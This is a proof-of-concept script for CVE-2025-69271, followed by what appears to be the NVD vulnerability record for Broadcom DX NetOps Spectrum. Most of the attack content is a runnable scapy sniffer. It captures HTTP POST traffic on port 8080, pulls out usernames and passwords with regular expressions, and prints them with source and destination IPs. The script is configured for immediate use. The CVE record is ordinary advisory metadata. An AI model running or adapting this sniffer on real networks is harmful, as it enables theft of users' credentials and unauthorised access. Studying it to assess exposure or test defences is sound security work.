CVE-2025-69271

# CVE-2025-69271 PoC - Network Sniffing for Unprotected Credentials # Target: Broadcom DX NetOps Spectrum # Environment: Same network segment as Spectrum installation import scapy.all as scapy from scapy.layers import http import re def sniff_credentials(packet): """Sniff for credentials in network traffic""" if packet.haslayer(http.HTTPRequest): url = packet[http.HTTPRequest].Path.decode('utf-8', 'ignore') # Check HTTP POST requests for credential patterns if packet.haslayer(scapy.Raw): payload = packet[scapy.Raw].load try: payload_str = payload.decode('utf-8', 'ignore') # Look for common credential patterns username_pattern = r'(username|user|login|admin)[=:]\s*([^&\s]+)' password_pattern = r'(password|passwd|pwd)[=:]\s*([^&\s]+)' username_match = re.search(username_pattern, payload_str, re.I) password_match = re.search(password_pattern, payload_str, re.I) if username_match and password_match: print(f"[+] POTENTIAL CREDENTIALS FOUND") print(f" URL: {url}") print(f" Username: {username_match.group(2)}") print(f" Password: {password_match.group(2)}") print(f" Source IP: {packet[scapy.IP].src if packet.haslayer(scapy.IP) else 'Unknown'}") print(f" Dest IP: {packet[scapy.IP].dst if packet.haslayer(scapy.IP) else 'Unknown'}") except: pass def start_sniffing(interface='eth0', filter_string=''): """ Start network sniffing on specified interface Args: interface: Network interface to sniff on (e.g., 'eth0', 'wlan0') filter_string: BPF filter (e.g., 'tcp port 8080' for Spectrum default port) """ print(f"[*] Starting credential sniffing on {interface}") print(f"[*] Filter: {filter_string if filter_string else 'No filter'}") print(f"[*] Press Ctrl+C to stop...\n") try: scapy.sniff(iface=interface, filter=filter_string, prn=sniff_credentials, store=False) except KeyboardInterrupt: print("\n[*] Stopping sniff...") except Exception as e: print(f"[!] Error: {e}") if __name__ == '__main__': # Configuration - modify these for your environment TARGET_INTERFACE = 'eth0' # Network interface SPECTRUM_PORT = '8080' # Default Spectrum port # Start sniffing with port filter for Spectrum filter_rule = f'tcp port {SPECTRUM_PORT}' start_sniffing(TARGET_INTERFACE, filter_rule)

{"cve": {"id": "CVE-2025-69271", "sourceIdentifier": "[email protected]", "published": "2026-01-12T05:16:11.060", "lastModified": "2026-01-14T17:55:06.017", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Insufficiently Protected Credentials vulnerability in Broadcom DX NetOps Spectrum on Windows, Linux allows Sniffing Attacks.This issue affects DX NetOps Spectrum: 24.3.13 and earlier."}, {"lang": "es", "value": "Vulnerabilidad de credenciales insuficientemente protegidas en Broadcom DX NetOps Spectrum en Windows, Linux permite ataques de sniffing. Este problema afecta a DX NetOps Spectrum: 24.3.13 y versiones anteriores."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.3, "baseSeverity": "LOW", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "LOW", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "NONE", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-522"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:broadcom:dx_netops_spectrum:*:*:*:*:*:*:*:*", "versionEndExcluding": "25.4.1", "matchCriteriaId": "B255884D-03A8-4BAD-B4B0-16D7B20DBD60"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:*", "matchCriteriaId": "703AF700-7A70-47E2-BC3A-7FD03B3CA9C1"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36756", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}